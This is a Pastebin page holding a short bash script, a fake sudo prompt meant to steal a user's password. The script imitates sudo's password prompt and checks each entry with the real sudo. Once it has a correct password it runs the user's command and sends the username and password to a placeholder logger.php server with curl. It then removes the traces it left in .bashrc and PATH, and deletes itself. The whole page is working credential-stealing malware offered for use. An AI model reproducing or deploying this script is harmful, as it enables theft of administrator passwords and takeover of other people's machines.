Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- /usr/bin/sudo -k
- SITE="example.com" ### put your Server here :v
- i=0
- while [ $i != 3 ]; do
- echo -n "[+] Password for $(whoami): "
- read -s xd
- echo
- echo -e "$xd\n"| /usr/bin/sudo -S true 2>/dev/null
- if /usr/bin/sudo -n true 2>/dev/null; then
- break
- else
- echo "Sorry, Try Again!"
- fi
- unset xd
- let i=$i+1
- done
- if ! /usr/bin/sudo -n true 2>/dev/null;then
- echo "sudo: 3 Incorrect password Attempts"
- exit 1
- fi
- sed -i "/\.xd/d" ~/.bashrc
- export PATH=$(echo $PATH| cut -d: -f2-)
- echo -e "$xd\n" | /usr/bin/sudo -S "$@"
- if [ "$(ping $SITE -c1 2>/dev/null)" ]; then
- curl -s $SITE/logger.php?user=$(whoami)\&pass=$xd 2>/dev/null
- sleep 2 && ln -f -s /usr/bin/sudo ~/.xd/sudo & rm $0
- fi
Add Comment
Please, Sign In to add comment